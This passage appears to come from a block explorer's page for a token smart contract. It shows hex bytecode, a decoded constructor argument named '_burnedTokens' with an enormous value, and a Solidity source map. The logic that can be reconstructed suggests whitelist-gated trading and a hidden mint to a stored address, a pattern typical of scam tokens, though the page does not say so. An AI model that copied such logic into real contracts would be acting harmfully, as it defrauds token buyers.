ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cd19190612f61565b60405180910390a35b5050611e3b565b611d528160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e329190612f61565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ea25750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611ed15750600b5f9054906101000a900460ff16158015611ed05750600b60019054906101000a900460ff165b5b80611f925750600b5f9054906101000a900460ff168015611f385750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611f91575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611ff6575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611ff557505f600a54145b5b612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c90613258565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561207e575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036120b5575f80fd5b6121058360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121968360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122349190612f61565b60405180910390a3600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806122ee5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061231d5750600b5f9054906101000a900460ff1615801561231c5750600b60019054906101000a900460ff165b5b806123de5750600b5f9054906101000a900460ff1680156123845750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612442575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561244157505f600a54145b5b612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890613258565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612501576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f8906135be565b60405180910390fd5b600b60019054906101000a900460ff1615612901575f808390505f600a54118015612579575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156125cc5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612611576125f960646125eb600a5487612be590919063ffffffff16565b612c5c90919063ffffffff16565b915061260e8285612cb390919063ffffffff16565b90505b6126618460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127138160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127f39190612f61565b60405180910390a35f8211156128fa576128538260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128f19190612f61565b60405180910390a35b5050612aec565b6129518260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a038260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ae39190612f61565b60405180910390a35b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612b27575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612bf5575f9050612c56565b5f8284612c029190613609565b9050828482612c119190613677565b14612c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c48906136f1565b60405180910390fd5b809150505b92915050565b5f808211612c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c96906136f1565b60405180910390fd5b8183612cab9190613677565b905092915050565b5f82821115612cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cee906136f1565b60405180910390fd5b8183612d03919061370f565b905092915050565b5f808284612d199190613742565b905083811015612d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d55906136f1565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d9f578082015181840152602081019050612d84565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dc482612d68565b612dce8185612d72565b9350612dde818560208601612d82565b612de781612daa565b840191505092915050565b5f6020820190508181035f830152612e0a8184612dba565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e3f82612e16565b9050919050565b612e4f81612e35565b8114612e59575f80fd5b50565b5f81359050612e6a81612e46565b92915050565b5f819050919050565b612e8281612e70565b8114612e8c575f80fd5b50565b5f81359050612e9d81612e79565b92915050565b5f8060408385031215612eb957612eb8612e12565b5b5f612ec685828601612e5c565b9250506020612ed785828601612e8f565b9150509250929050565b5f8115159050919050565b612ef581612ee1565b82525050565b5f602082019050612f0e5f830184612eec565b92915050565b5f8060408385031215612f2a57612f29612e12565b5b5f612f3785828601612e8f565b9250506020612f4885828601612e8f565b9150509250929050565b612f5b81612e70565b82525050565b5f602082019050612f745f830184612f52565b92915050565b5f805f60608486031215612f9157612f90612e12565b5b5f612f9e86828701612e5c565b9350506020612faf86828701612e5c565b9250506040612fc086828701612e8f565b9150509250925092565b5f60ff82169050919050565b612fdf81612fca565b82525050565b5f602082019050612ff85f830184612fd6565b92915050565b5f6020828403121561301357613012612e12565b5b5f61302084828501612e5c565b91505092915050565b61303281612e35565b82525050565b5f60208201905061304b5f830184613029565b92915050565b5f806040838503121561306757613066612e12565b5b5f61307485828601612e5c565b925050602061308585828601612e5c565b9150509250929050565b5f602082840312156130a4576130a3612e12565b5b5f6130b184828501612e8f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130fe57607f821691505b602082108103613111576131106130ba565b5b50919050565b7f5a65726f206665657320666f72657665720000000000000000000000000000005f82015250565b5f61314b601183612d72565b915061315682613117565b602082019050919050565b5f6020820190508181035f8301526131788161313f565b9050919050565b7f5a65726f000000000000000000000000000000000000000000000000000000005f82015250565b5f6131b3600483612d72565b91506131be8261317f565b602082019050919050565b5f6020820190508181035f8301526131e0816131a7565b9050919050565b5f6040820190506131fa5f830185612f52565b6132076020830184612f52565b9392505050565b7f5a65726f206665657320666f72657665722e00000000000000000000000000005f82015250565b5f613242601283612d72565b915061324d8261320e565b602082019050919050565b5f6020820190508181035f83015261326f81613236565b9050919050565b7f416d6f756e7420686967686572207a65726f00000000000000000000000000005f82015250565b5f6132aa601283612d72565b91506132b582613276565b602082019050919050565b5f6020820190508181035f8301526132d78161329e565b9050919050565b7f47726561746572207468616e207a65726f0000000000000000000000000000005f82015250565b5f613312601183612d72565b915061331d826132de565b602082019050919050565b5f6020820190508181035f83015261333f81613306565b9050919050565b7f486967686572207468616e205a65726f000000000000000000000000000000005f82015250565b5f61337a601083612d72565b915061338582613346565b602082019050919050565b5f6020820190508181035f8301526133a78161336e565b9050919050565b7f5a65726f20666f726576657200000000000000000000000000000000000000005f82015250565b5f6133e2600c83612d72565b91506133ed826133ae565b602082019050919050565b5f6020820190508181035f83015261340f816133d6565b9050919050565b7f4e6f20696e707574206e656564656400000000000000000000000000000000005f82015250565b5f61344a600f83612d72565b915061345582613416565b602082019050919050565b5f6020820190508181035f8301526134778161343e565b9050919050565b7f476f6e6520666f726576657200000000000000000000000000000000000000005f82015250565b5f6134b2600c83612d72565b91506134bd8261347e565b602082019050919050565b5f6020820190508181035f8301526134df816134a6565b9050919050565b7f4d757374206265206120686967686572206e756d626572207468616e207a65725f8201527f6f00000000000000000000000000000000000000000000000000000000000000602082015250565b5f613540602183612d72565b915061354b826134e6565b604082019050919050565b5f6020820190508181035f83015261356d81613534565b9050919050565b7f4e6f7420656e6f7567682066756e6473000000000000000000000000000000005f82015250565b5f6135a8601083612d72565b91506135b382613574565b602082019050919050565b5f6020820190508181035f8301526135d58161359c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61361382612e70565b915061361e83612e70565b925082820261362c81612e70565b91508282048414831517613643576136426135dc565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61368182612e70565b915061368c83612e70565b92508261369c5761369b61364a565b5b828204905092915050565b7f4e6f74206e6565646564000000000000000000000000000000000000000000005f82015250565b5f6136db600a83612d72565b91506136e6826136a7565b602082019050919050565b5f6020820190508181035f830152613708816136cf565b9050919050565b5f61371982612e70565b915061372483612e70565b925082820390508181111561373c5761373b6135dc565b5b92915050565b5f61374c82612e70565b915061375783612e70565b925082820190508082111561376f5761376e6135dc565b5b9291505056fea26469706673582212209d3880d874a5a93df53d38d49b757b27d3c7fa834ce1bd91debf1be257e294e164736f6c63430008150033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000005e05ddb340c5c4d79d569ab6fdf88b60be564ffc000000000000000000000000af298d050e4395d69670b12b7f40ffffffffffff
-----Decoded View---------------
Arg [0] : _swapRouter (address): 0x5e05Ddb340c5c4D79d569Ab6FDf88b60bE564ffC
Arg [1] : _burnedTokens (uint256): 999999999999999999999999999999999999999999999999
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005e05ddb340c5c4d79d569ab6fdf88b60be564ffc
Arg [1] : 000000000000000000000000af298d050e4395d69670b12b7f40ffffffffffff
Deployed Bytecode Sourcemap
1022:9164:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1134:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3973:280;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7269:514;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1241:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4285:1987;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1838:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1789:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1315;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2001:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6766:479;;;;;;;;;;;;;:::i;:::-;;1741:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1669:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1942:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1386:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6566:176;;;;;;;;;;;;;:::i;:::-;;1578:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1188:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1888:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7807:991;;;:::i;:::-;;3448:493;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1621:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1453:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8822:1361;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6296:246;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1134:31;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3973:280::-;4040:12;4115:6;4081:9;:21;4091:10;4081:21;;;;;;;;;;;;;;;:31;4103:8;4081:31;;;;;;;;;;;;;;;:40;;;;4174:8;4153:38;;4162:10;4153:38;;;4184:6;4153:38;;;;;;:::i;:::-;;;;;;;;4225:4;4218:11;;3973:280;;;;:::o;7269:514::-;7368:7;;;;;;;;;;;7367:8;7359:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;7445:1;7432:9;:14;7424:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;7504:2;7490:10;:16;7482:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;7551:9;7542:6;:18;;;;7597:10;7587:7;:20;;;;7644:4;7634:7;;:14;;;;;;;;;;;;;;;;;;7689:4;7675:11;;:18;;;;;;;;;;;;;;;;;;7725:34;7737:9;7748:10;7725:34;;;;;;;:::i;:::-;;;;;;;;7269:514;;:::o;1241:51::-;;;;:::o;4285:1987::-;4385:12;4369:5;3163:17;;;;;;;;;;;:40;;;;3184:11;:19;3196:6;3184:19;;;;;;;;;;;;;;;;;;;;;;;;;3163:40;:69;;;;3209:7;;;;;;;;;;;3208:8;:23;;;;;3220:11;;;;;;;;;;;3208:23;3163:69;:129;;;;3237:7;;;;;;;;;;;:30;;;;;3248:11;:19;3260:6;3248:19;;;;;;;;;;;;;;;;;;;;;;;;;3237:30;:54;;;;;3281:10;;;;;;;;;;;3271:20;;:6;:20;;;;3237:54;3163:129;:171;;;;3307:10;;;;;;;;;;;3297:20;;:6;:20;;;:36;;;;;3332:1;3321:7;;:12;3297:36;3163:171;3141:255;;;;;;;;;;;;:::i;:::-;;;;;;;;;4454:7:::1;4434:9;:16;4444:5;4434:16;;;;;;;;;;;;;;;;:27;;4426:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;4551:7;4519:9;:16;4529:5;4519:16;;;;;;;;;;;;;;;:28;4536:10;4519:28;;;;;;;;;;;;;;;;:39;;4511:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;4630:1;4615:17;;:3;:17;;::::0;4607:46:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4698:11;4740:22:::0;4765:7:::1;4740:32;;4821:11;;;;;;;;;;;:26;;;;;4846:1;4836:7;;:11;4821:26;:49;;;;;4860:10;;;;;;;;;;;4851:19;;:5;:19;;;;4821:49;:72;;;;;4875:11;:18;4887:5;4875:18;;;;;;;;;;;;;;;;;;;;;;;;;4874:19;4821:72;4817:236;;;4932:29;4957:3;4932:20;4944:7;;4932;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;4926:35;;5009:16;5021:3;5009:7;:11;;:16;;;;:::i;:::-;4992:33;;4817:236;5100:29;5121:7;5100:9;:16;5110:5;5100:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5081:9;:16;5091:5;5081:16;;;;;;;;;;;;;;;:48;;;;5173:34;5192:14;5173:9;:14;5183:3;5173:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;5156:9;:14;5166:3;5156:14;;;;;;;;;;;;;;;:51;;;;5255:3;5239:36;;5248:5;5239:36;;;5260:14;5239:36;;;;;;:::i;:::-;;;;;;;;5330:1;5324:3;:7;5320:575;;;5348:23;5382:42;5348:77;;5467:15;5460:22;;:3;:22;;::::0;5456:428:::1;;5548:35;5579:3;5548:9;:26;5558:15;5548:26;;;;;;;;;;;;;;;;:30;;:35;;;;:::i;:::-;5519:9;:26;5529:15;5519:26;;;;;;;;;;;;;;;:64;;;;5639:15;5623:37;;5632:5;5623:37;;;5656:3;5623:37;;;;;;:::i;:::-;;;;;;;;5456:428;;;5744:33;5773:3;5744:9;:24;5762:4;5744:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;5717:9;:24;5735:4;5717:24;;;;;;;;;;;;;;;:60;;;;5841:4;5817:35;;5826:5;5817:35;;;5848:3;5817:35;;;;;;:::i;:::-;;;;;;;;5456:428;5333:562;5320:575;5936:10;5927:19;;:5;:19;;;;:72;;;;;5982:17;5950:9;:16;5960:5;5950:16;;;;;;;;;;;;;;;:28;5967:10;5950:28;;;;;;;;;;;;;;;;:49;;5927:72;5923:302;;;6063:41;6096:7;6063:9;:16;6073:5;6063:16;;;;;;;;;;;;;;;:28;6080:10;6063:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;6032:9;:16;6042:5;6032:16;;;;;;;;;;;;;;;:28;6049:10;6032:28;;;;;;;;;;;;;;;:72;;;;6156:10;6140:57;;6149:5;6140:57;;;6168:9;:16;6178:5;6168:16;;;;;;;;;;;;;;;:28;6185:10;6168:28;;;;;;;;;;;;;;;;6140:57;;;;;;:::i;:::-;;;;;;;;5923:302;6260:4;6253:11;;;;4285:1987:::0;;;;;;:::o;1838:27::-;;;;;;;;;;;;;:::o;1789:26::-;;;;:::o;1315:::-;;;;;;;;;;;;;:::o;2001:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;6766:479::-;6824:7;;;;;;;;;;;6816:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;6905:1;6883:24;;:10;;;;;;;;;;;:24;;;6875:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;6977:1;6962:12;;:16;6954:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;7038:29;7054:12;;7038:11;;:15;;:29;;;;:::i;:::-;7024:11;:43;;;;7118:39;7144:12;;7118:9;:21;7128:10;;;;;;;;;;;7118:21;;;;;;;;;;;;;;;;:25;;:39;;;;:::i;:::-;7094:9;:21;7104:10;;;;;;;;;;;7094:21;;;;;;;;;;;;;;;:63;;;;7196:10;;;;;;;;;;;7191:30;;;7208:12;;7191:30;;;;;;:::i;:::-;;;;;;;;6766:479::o;1741:25::-;;;;:::o;1669:27::-;;;;:::o;1942:36::-;;;;;;;;;;;;;:::o;1386:44::-;;;;;;;;;;;;;;;;;:::o;6566:176::-;6670:1;6634:39;;6655:5;;;;;;;;;;;6634:39;;;;;;;;;;;;6716:1;6700:5;;:18;;;;;;;;;;;;;;;;;;6566:176::o;1578:20::-;;;;;;;;;;;;;:::o;1188:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1888:31::-;;;;;;;;;;;;;:::o;7807:991::-;7847:10;3163:17;;;;;;;;;;;:40;;;;3184:11;:19;3196:6;3184:19;;;;;;;;;;;;;;;;;;;;;;;;;3163:40;:69;;;;3209:7;;;;;;;;;;;3208:8;:23;;;;;3220:11;;;;;;;;;;;3208:23;3163:69;:129;;;;3237:7;;;;;;;;;;;:30;;;;;3248:11;:19;3260:6;3248:19;;;;;;;;;;;;;;;;;;;;;;;;;3237:30;:54;;;;;3281:10;;;;;;;;;;;3271:20;;:6;:20;;;;3237:54;3163:129;:171;;;;3307:10;;;;;;;;;;;3297:20;;:6;:20;;;:36;;;;;3332:1;3321:7;;:12;3297:36;3163:171;3141:255;;;;;;;;;;;;:::i;:::-;;;;;;;;;7906:1:::1;7894:9;:13;7886:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;7974:14;7991:9;7974:26;;8040:1;8031:6;;:10;8027:764;;;8058:11;8072:27;8095:3;8072:18;8083:6;;8072;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;8058:41;;8130:22;8155:15;8166:3;8155:6;:10;;:15;;;;:::i;:::-;8130:40;;8227:41;8253:14;8227:9;:21;8237:10;;;;;;;;;;;8227:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;8203:9;:21;8213:10;;;;;;;;;;;8203:21;;;;;;;;;;;;;;;:65;;;;8328:10;;;;;;;;;;;8304:51;;8321:4;8304:51;;;8340:14;8304:51;;;;;;:::i;:::-;;;;;;;;8398:1;8392:3;:7;8388:207;;;8447:33;8476:3;8447:9;:24;8465:4;8447:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;8420:9;:24;8438:4;8420:24;;;;;;;;;;;;;;;:60;;;;8552:4;8520:43;;8537:4;8520:43;;;8559:3;8520:43;;;;;;:::i;:::-;;;;;;;;8388:207;8043:563;;8027:764;;;8651:33;8677:6;8651:9;:21;8661:10;;;;;;;;;;;8651:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;8627:9;:21;8637:10;;;;;;;;;;;8627:21;;;;;;;;;;;;;;;:57;;;;8744:10;;;;;;;;;;;8720:43;;8737:4;8720:43;;;8756:6;8720:43;;;;;;:::i;:::-;;;;;;;;8027:764;7859:939;7807:991:::0;:::o;3448:493::-;3534:12;3513:10;3163:17;;;;;;;;;;;:40;;;;3184:11;:19;3196:6;3184:19;;;;;;;;;;;;;;;;;;;;;;;;;3163:40;:69;;;;3209:7;;;;;;;;;;;3208:8;:23;;;;;3220:11;;;;;;;;;;;3208:23;3163:69;:129;;;;3237:7;;;;;;;;;;;:30;;;;;3248:11;:19;3260:6;3248:19;;;;;;;;;;;;;;;;;;;;;;;;;3237:30;:54;;;;;3281:10;;;;;;;;;;;3271:20;;:6;:20;;;;3237:54;3163:129;:171;;;;3307:10;;;;;;;;;;;3297:20;;:6;:20;;;:36;;;;;3332:1;3321:7;;:12;3297:36;3163:171;3141:255;;;;;;;;;;;;:::i;:::-;;;;;;;;;3608:7:::1;3583:9;:21;3593:10;3583:21;;;;;;;;;;;;;;;;:32;;3575:41;;;::::0;::::1;;3666:1;3651:17;;:3;:17;;::::0;3643:26:::1;;;::::0;::::1;;3722:34;3748:7;3722:9;:21;3732:10;3722:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;3698:9;:21;3708:10;3698:21;;;;;;;;;;;;;;;:58;;;;3800:27;3819:7;3800:9;:14;3810:3;3800:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;3783:9;:14;3793:3;3783:14;;;;;;;;;;;;;;;:44;;;;3880:3;3859:34;;3868:10;3859:34;;;3885:7;3859:34;;;;;;:::i;:::-;;;;;;;;3929:4;3922:11;;3448:493:::0;;;;;:::o;1621:25::-;;;;;;;;;;;;;:::o;1453:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8822:1361::-;8870:10;3163:17;;;;;;;;;;;:40;;;;3184:11;:19;3196:6;3184:19;;;;;;;;;;;;;;;;;;;;;;;;;3163:40;:69;;;;3209:7;;;;;;;;;;;3208:8;:23;;;;;3220:11;;;;;;;;;;;3208:23;3163:69;:129;;;;3237:7;;;;;;;;;;;:30;;;;;3248:11;:19;3260:6;3248:19;;;;;;;;;;;;;;;;;;;;;;;;;3237:30;:54;;;;;3281:10;;;;;;;;;;;3271:20;;:6;:20;;;;3237:54;3163:129;:171;;;;3307:10;;;;;;;;;;;3297:20;;:6;:20;;;:36;;;;;3332:1;3321:7;;:12;3297:36;3163:171;3141:255;;;;;;;;;;;;:::i;:::-;;;;;;;;;8942:7:::1;8917:9;:21;8927:10;8917:21;;;;;;;;;;;;;;;;:32;;8909:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;9003:11;;;;;;;;;;;8999:1177;;;9047:11;9093:22:::0;9118:7:::1;9093:32;;9172:1;9162:7;;:11;:39;;;;;9191:10;;;;;;;;;;;9177:24;;:10;:24;;;;9162:39;:67;;;;;9206:11;:23;9218:10;9206:23;;;;;;;;;;;;;;;;;;;;;;;;;9205:24;9162:67;9158:243;;;9272:29;9297:3;9272:20;9284:7;;9272;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;9266:35;;9353:16;9365:3;9353:7;:11;;:16;;;;:::i;:::-;9336:33;;9158:243;9441:34;9467:7;9441:9;:21;9451:10;9441:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;9417:9;:21;9427:10;9417:21;;;;;;;;;;;;;;;:58;;;;9530:41;9556:14;9530:9;:21;9540:10;;;;;;;;;;;9530:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;9506:9;:21;9516:10;;;;;;;;;;;9506:21;;;;;;;;;;;;;;;:65;;;;9628:10;;;;;;;;;;;9607:48;;9616:10;9607:48;;;9640:14;9607:48;;;;;;:::i;:::-;;;;;;;;9698:1;9692:3;:7;9688:204;;;9747:33;9776:3;9747:9;:24;9765:4;9747:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;9720:9;:24;9738:4;9720:24;;;;;;;;;;;;;;;:60;;;;9849:4;9820:40;;9829:10;9820:40;;;9856:3;9820:40;;;;;;:::i;:::-;;;;;;;;9688:204;9016:887;;8999:1177;;;9948:34;9974:7;9948:9;:21;9958:10;9948:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;9924:9;:21;9934:10;9924:21;;;;;;;;;;;;;;;:58;;;;10037:34;10063:7;10037:9;:21;10047:10;;;;;;;;;;;10037:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;10013:9;:21;10023:10;;;;;;;;;;;10013:21;;;;;;;;;;;;;;;:58;;;;10128:10;;;;;;;;;;;10107:41;;10116:10;10107:41;;;10140:7;10107:41;;;;;;:::i;:::-;;;;;;;;8999:1177;8822:1361:::0;;:::o;6296:246::-;6403:1;6383:22;;:8;:22;;;6375:31;;;;;;6466:8;